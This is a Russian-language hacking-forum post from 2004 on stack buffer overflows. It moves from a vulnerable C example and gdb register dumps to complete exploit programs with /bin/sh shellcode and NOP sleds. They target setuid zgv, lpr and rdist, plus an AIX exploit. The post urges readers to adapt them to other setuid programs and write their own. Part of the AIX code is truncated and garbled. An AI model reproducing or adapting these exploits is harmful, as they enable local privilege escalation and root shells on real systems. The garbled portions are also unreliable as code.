ПЕРЕПОЛНЕНИЕ БУФЕРА

  Вход на форум   логин       пароль   Забыли пароль? Регистрация
On-line:  

Раздел: 
Форум Для Умных Людей / [ ХАКИНГ ] / ПЕРЕПОЛНЕНИЕ БУФЕРА

Страницы: 1  новая тема

Автор Сообщение

Группа: 1-админ
Сообщений: 748
Добавлено: 22-08-2004 03:25
слово БУФЕРА ( это нето что у девушек )


Что такое переполнение буфера (Buffer Overflow)... давайте рассмотрим следующий пример:

#include ‹stdio.h>
main(){
char s[3];
scanf("%s",&s);
printf("%s",s);
}



Если вы запустите эту програму, то она потребует чтобы вы ввели строку. Если строка будут меньше или ровна 3-м символам, то она выведется на экран и на этом робота ее закончится. Если вы введете строку состоящую с больше чем 3-х символов робота програмы завершится с сообщением о ошибке 'core dumped'. Все делов том, что переменной s в памяти отведено три байта(char s[3]), а введенная нами строка перевысит отведенный розмер памяти для этой переменной. Это и есть простейший пример переполнения буфера. Когда програма стартует для нее отводится определенное место в памяти. Это простратство делится на три части:

code segment - сегмент кода, сюда помещаются инструкции программы которые подаются на выполнение процессору(в машинных кодах) data segment - сегмент данных, место отведенное для хранение днных stack segment - сегмент стека, пространство для хранения переменных.

Процедура или функция это часть програмы, которая вызывается из главной програмы, выполняет свои задачи и возвращает управление главной програме, в ту точку откуда был произведен вызов функции. Давайте рассмотрим поближе:


0x8054321 pushl $0x0
0x8054322 call $0x80543a0
0x8054327 ret
0x8054328 leave
......

0x80543a0 popl %eax
0x80543a1 addl $0x1337,%eax
0x80543a4 ret
Значение 0 добавлено в стек(pushl $0x0), запущена функция(call $0x80543a0), возвращение(ret). После этого мы видим, как функция обработана. Функция получает переменные со стека (popl %eax) и возвращене (ret). МЫ не видим сдесь факта, что функция main() толкает ЕВР в стек каждый раз при вызове. ЕВР восстанавливается после каждого выполнения. Адрес возврата функции 0x8054327. Восстановленый регистер ЕВР представляет собой 32 бита(4 байта). Теперь давайте рассмотрим маленькую програму, и продизасемблируем ее:

void lame () {
char small[30];
gets (small);
printf("%s
", small);
}

int main() {
lame ();
}

компилируем:

#cc -ggdb test.c -o test

и дизассемблируем:

#gdb test
0x80484c8 ‹main>: pushl %ebp -толкаем переменную в стек
0x80484c9 ‹main+1>: movl %esp,%ebp -сохраняем ее в ESP
0x80484cb ‹main+3>: call 0x80484a0 -calles function lame()
0x80484d0 ‹main+8>: leave
0x80484d1 ‹main+9>: ret -адрес возврата
0x80484a0 ‹lame> pushl %ebp -переменная функции lame()
0x80484a1 ‹lame+1>: movl %esp,%ebp -сохраняем ее в ESP
0x80484a3 ‹lame+3>: subl $0x20,%esp -стек увеличеный(x20=32)
0x80484a6 ‹lame+6>: leal 0xffffffe0(%ebp),%eax
0x80484a9 ‹lame+9>: pushl %eax
0x80484aa ‹lame+10>: call 0x80483ec -вызавается gets()
0x80484af ‹lame+15>: addl $0x4,%esp
0x80484b2 ‹lame+18>: leal 0xffffffe0(%ebp),%eax
0x80484b5 ‹lame+21>: pushl %eax
0x80484b6 ‹lame+22>: pushl $0x804852c
0x80484bb ‹lame+27>: call 0x80483dc -вызывается printf()
0x80484c0 ‹lame+32>: addl $0x8,%esp -адрес возврата, 0x80484d0
0x80484c3 ‹lame+35>: leave
0x80484c4 ‹lame+36>: ret
[0x80484d0 ‹main+8>: leave]

Теперь давайте запустим програму нормально:
#test
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - введено 30 символов
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - все 30 програма вывела на экран

Теперь переполним стек(введем 34 вимвола):
#test
ааааaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - введено 34 символа
Segmentation fault (core dumped) - переполнение буфера

Легальный розмер памяти был переполнен, посмотрим что случилось:

# gdb test core

(gdb) info registers
eax: 0x24
ecx: 0x804852f
edx: 0x1
ebx: 0x11a3c8
esp: 0xbffffdb8
ebp: 0x616161

61 это представление "а" в HEX'е. Значит мы переполнили стек четырьма буквами "а" и адрес возврата теперь 0x616161, это и вызывает ошибку. Оригинальный адрес возврата 0x80484cb. Вспомним что ЕВР имеет 4 байта. Давайте напишем експлоит чтобы возвратится в lame().

main()
{
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x80484cb;
puts(buf);
}

# (ret;cat)|./blah

Пеперь функция запустится 2 раза, потому чо вместо того чтобы возвратится к 0x80484d0, после завершения lame(), она возвратится к себе - 0x80484cb. Теперь вы видите как можно измеенить адрес возврата в любую точку программы, если известен точный адрес.

Теперь експлоит - shellcode(последовательность комманд ассемблера, записаных в стеке). Надо изменить адрес возврата, чтобы код выполнялся внутри стека.

global code_start
global code_end
.data
code_start:
jmp 0x17
popl %esi
movl %esi,0x8(%esi)

xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
my_execve:
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
xorl %edx,%edx
int $0x80
call -0x1c
.string "/bin/shX"
code_end:

Переведем этот код в HEX, это можно сделать спомощью bin2c.pl, или другой утилиты подобного рода. Вот результат ее роботы:

"xebx17x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8d"
"x4ex08x31xd2xcdx80xe8xe4xffxffxffx2fx62x69x6ex2fx73x68x58"

А вот и готовый експлоит:

#include ‹stdio.h>
#include
#include ‹stdlib.h>

static char shellcode[]=
"xebx17x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8d"
"x4ex08x31xd2xcdx80xe8xe4xffxffxffx2fx62x69x6ex2fx73x68x58";

int main()
{
char buffer[1032];
long retaddr = 0xbffff574; /*адрес возврата*/
int i;
fprintf(stderr,"Используемый адрес 0x%lx
",retaddr);
for (i=0;i<1032;i+=4)
*(long *)&buffer[i] = retaddr; /*заполняем буфер адресом возврата*/
for (i=0;i<(1032-strlen(shellcode)-100);i++)
/*заполняем буфер NOP'ами*/
*(buffer+i) = 0x90;
memcpy(buffer+i,shellcode,strlen(shellcode));
/*shellcode скопирован после конца NOP'ов*/
setenv("HOME", buffer, 1) /*изменяем переменную HOME*/
execlp("zgv","zgv",NULL); /*исполняем*/
return 0;
}

Когда вы незнаете адрес начала shellcode в памяти, прийдется его искать, тоисть перебирать адреса по порядку.

А теперь некоторые вопросы и ответы:

QUESTION: Как мы узнали что адрес возврата 0xbffff574

ANSWER: мы изменили пееременную home:
# export HOME=`perl -e 'printf "a" x 2000'`
# zgv

потом дизасемблировали /usr/bin/zgv
Segmentation fault (core dumped)
# gdb /usr/bin/zgv core
#0 0x61616161 in ?? ()
(gdb) info register esp
esp: 0xbffff574 -1073744524

Значит 0xbffff574 - адрес возврата.

QUESTION: Мы заполнили буфер нопами а потом адресом возврата?

ANSWER: Есть разница между адресом и содержанием. Это надо понимать как код:

for (i=0;i<1032;i+=4) *(long *)&buffer[i] = retaddr;
for (i=0;i<(1032-strlen(shellcode)-100);i++) *(buffer+i) = 0x90;

For i=0 to i=1032-strlen(shellcode)-99 ,адрес &buffer[i]=0xbffff574, а содержание NOP

QUESTION: Почемему мы буфер заполнили NOP'ами?

ANSWER: Функция возвратится перед нашим шелкодом, тогда CPU встречает NOP'ы и выполняет jmp и call. Это приведет к прыжку на popl, перемеенные перемещаются в стек и тогда выполняется код в стеке.

Эту програму написал Mixter для /usr/bin/zgv . Но она может быть легко изменена для роботы с другими програмами в которых установлен setuid. Вы должны знать розмер буфера, адрес возврата, и адрес начала шелкода в памяти. Если вы настолько ленивы чтобы дизасемблировать и искать ночало шелкода, напишите брутфорсер для поиска. Теперь следующий исходник:

#include ‹stdio.h>
#include ‹stdlib.h>
#include ‹unistd.h>

#define DEFAULT_OFFSET 50 /* смещение */
#define BUFFER_SIZE 1023 /* розмер буфера */

long get_esp(void)
{
__asm__("movl %esp,%eax
"); /* обьяснение будет ниже*/
}

void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

u_char execshell[] = "xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07"
"x89x56x0fxb8x1bx56x34x12x35x10x56x34x12"
"x8dx4ex0bx8bxd1xcdx80x33xc0x40xcdx80xe8"
"xd7xffxffxff/bin/sh";
int i;

buff = malloc(4096); /* память асигниная для буфера*/
if(!buff)
{
printf("can't allocate memory
");
exit(0);
}
ptr = buff; /* puts 4096 bytes in ptr */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); /* заполнение буфера нопами */
ptr += BUFFER_SIZE-strlen(execshell); /* память в буфере для шелкода */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i]; /* заполняем пространство shellcode'ом */
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET; /* узнаем адрес старта шелкода */
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-P", buff, NULL); /* запускаем програму */
}

Для лудшего понимания вернемся к первой програме:

pushl %ebp
movl %esp,%ebp
subl $0x20,%esp
leal 0xffffffe0(%ebp),%eax
pushl %eax
call

Сночала EBP толкается в стек, потом содержимое EBP копируется в ESP, 0x20=32 байта добавлены в ESP для переполнения стека, потом все копируется в EAX и толкается встек. В нашем случае мы видим функцию:

long get_esp(void)
{
__asm__("movl %esp,%eax
");
}

Тогда мы видим последовательность:

*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;

А это адрес возврата для шелкода. Стандартное смещение 50, но иногда более пригоден брутфорс. Вот пример:

#include ‹stdio.h>
#include ‹stdlib.h>
#include ‹unistd.h>

#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 256

long get_esp(void)
{
__asm__("movl %esp,%eax
");
}

main(int argc, char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;


char execshell[] =
"xebx23"
"x5e"
"x8dx1e"
"x89x5ex0b"
"x31xd2"
"x89x56x07"
"x89x56x0f"
"x89x56x14"
"x88x56x19"
"x31xc0"
"xb0x3b"
"x8dx4ex0b"
"x89xca"
"x52"
"x51"
"x53"
"x50"
"xebx18"
"xe8xd8xffxffxff"
"/bin/sh"
"x01x01x01x01"
"x02x02x02x02"
"x03x03x03x03"
"x9ax04x04x04x04x07x04";

int i;
int ofs = DEFAULT_OFFSET;


if(argc == 2)
ofs = atoi(argv[1]);
/* смещение задается как аргумент */
printf("Using offset of esp + %d (%x)
", ofs, get_esp()+ofs);

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory
");
exit(0);
}
ptr = buff;
/* заполняем буфер нопами */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
}

Теперь, давайте посмотрим пример относительно AIX 3.2 и 4.1/4.2 написанного Georgi Guninsky:

#include ‹stdio.h>
#include ‹stdlib.h>
#include ‹string.h>
char prog[100]="/bin/host";
char prog2[30]="host";
void buggy(char *s){
char a[4];
unsigned int junk[150];
gethostbyname();}
void sh2(){
int junk[0x100];
int s[2];
int toc;
int ctr;
junk[0x100]=0x11;
toc=0xf0192c48;
ctr=0xd0024c0c;
s[0]=0x2f62696e;
s[1]=0x2f736800;
execv(&s,0);
}
main(int argc,char **argv){
unsigned int junk[300];
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0};

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int i,nop,mn;
int max;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
int carry1=0;
int carry2=0;
char *t;
pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
if (argc>1) max=atoi(argv[1]);
if(max==0) max=78;
mn=40;
if(argc>2) mn=atoi(argv[2]);
if(argc>3) { strncpy(prog,argv[3],100);
t=strrchr(prog,'/');
if(t) strncpy(prog2,++t,30); }
if(argc>4) strncpy(prog2,argv[4],30);
if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) {
puts("Bad parameters");exit(1);}
#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=carry1+(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=carry2+(unsigned short) ((eco >> 16) & 0x0000ffff);
#ifndef QUIET
puts("Test AIX!");
puts("Discovered and coded by Georgi G.");
printf("TOC:%0x,CTR:%0x
",toc,eco);
printf("
%p",&buf[nop]);
#endif
junk[50]=1;
for(nop=0;nop buf[nop]=0x4ffffb82;
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
while(i++‹max){
buf[i]=(unsigned) &buf[nop];}
buf[i]=0;
for(i=0;itest
type a string:aaaaaaaaaaaaaaaaaaaaaaaa

Теперь я получаю сообщение о ошибке и нажимаю "Подробно", вот что мы можем увидеть:

PROJECT 1 caused an invalid page fault in
module ‹unknown> at 0000:61616161.
Registers:
EAX=00000001 CS=015f EIP=61616161 EFLGS=00010202
EBX=00530000 SS=0167 ESP=0253fdf0 EBP=61616161
ECX=0253fdf9 DS=0167 ESI=8155ce90 FS=21cf
EDX=00000004 ES=0167 EDI=00000000 GS=0000
Bytes at CS:EIP:

А 61 представление "а" в шестнациричном виде. А EBP содержит 61616161=aaaa и програма остановилась на 0000:61616161 потому что мы ее переполнили. Давайте ее дизасемблируем:

c:/>cc1 test.c

.file "test.c"
gcc2_compiled.:
___gnu_compiled_c:
.def ___main; .scl 2; .type 32; .endef
.text
LC0:
.ascii "type a string: "
LC1:
.ascii "%s "
.align 4
.globl _main
.def _main; .scl 2; .type 32; .endef
_main:
pushl %ebp - EBP толкаем в стек
movl %esp,%ebp -сохраняем
subl $24,%esp -удлинняем стек
call ___main -вызываем main()
addl $-12,%esp
pushl $LC0 -строка "type a string"
call _printf -выводим ее
addl $16,%esp
addl $-8,%esp
leal -16(%ebp),%eax
pushl %eax
pushl $LC1 -переменная "string"
call _scanf -читаем
addl $16,%esp -конвертируем
L2:
leave
ret -это все
.def _scanf; .scl 2; .type 32; .endef
.def _printf; .scl 2; .type 32; .endef


Переменные толкаются в стек(pushl %ebp),, потом стек удлинняется(subl $24,%esp), вызывается main() (call ___main), потом переменные ("type a string: ") функции printf() помещаются в стек (pushl $LC0), тоже происходит и со scanf(), и дальше RET(L2). Но, кое-что отсутствует здесь. Адрес возврата. Чтобы найти его используем W32Dasm,Softice или Hiev чтобы продизасемблировать програму. Значит такие атаки независимы от платформы, и могут быть реальны как на Linux, так и на Windows.

Вот еще пример:


#include
void pr1(){
printf("first proc");
}
void pr2(){
printf("second proc");
}
main(){
int i;
printf("Enter a number:");scanf("%i",&i);
if(i==1) pr1();
else pr2();}

теперь тоже, но на assebmer'е:

file "test.c"
gcc2_compiled.:
___gnu_compiled_c:
.text
LC0:
.ascii "first proc "
.align 4
.globl _pr1
.def _pr1; .scl 2; .type 32; .endef
_pr1: -прцедура pr1()
pushl %ebp -переменные в стек
movl %esp,%ebp -сохраняем в ESP
subl $8,%esp -удлинняем
addl $-12,%esp -загружаем адрес для "%s"
pushl $LC0 -push переменных для printf()
call _printf -вызываем printf()
addl $16,%esp
L2:
leave
ret -возврат
LC1:
.ascii "second proc "
.align 4
.globl _pr2
.def _pr2; .scl 2; .type 32; .endef
_pr2:
pushl %ebp
movl %esp,%ebp
subl $8,%esp
addl $-12,%esp
pushl $LC1
call _printf
addl $16,%esp
L3:
leave
ret
.def ___main; .scl 2; .type 32; .endef
LC2:
.ascii "Enter a number: "
LC3:
.ascii "%i "
.align 4
.globl _main
.def _main; .scl 2; .type 32; .endef
_main: - main()
pushl %ebp
movl %esp,%ebp
subl $24,%esp
call ___main
addl $-12,%esp
pushl $LC2
call _printf
addl $16,%esp
addl $-8,%esp
leal -4(%ebp),%eax
pushl %eax
pushl $LC3 -переменная определена как int
call _scanf
addl $16,%esp
cmpl $1,-4(%ebp) -сравниваем с "1"
jne L5 - если не ровны
call _pr1 -вызываем pr1()
jmp L6 -иначе
.p2align 4,,7
L5:
call _pr2 call pr2()
L6:
L4:
leave
ret -возвращение с pr2() или pr1()
.def _scanf; .scl 2; .type 32; .endef
.def _printf; .scl 2; .type 32; .endef
Теперь ты можешь писать свои експлоиты, и шелкод. По крайней мере ты теперь знаешь как все это роботает, и можешь изменить готовый експлоит для своих потребностей в зависимости от ситуации.

Страницы: 1  новая тема
Раздел: 
Форум Для Умных Людей / [ ХАКИНГ ] / ПЕРЕПОЛНЕНИЕ БУФЕРА

Отвечать на темы в данном разделе могут только зарегистрированные пользователи

Отвечать на темы могут только зарегистрированные пользователи

KXK.RU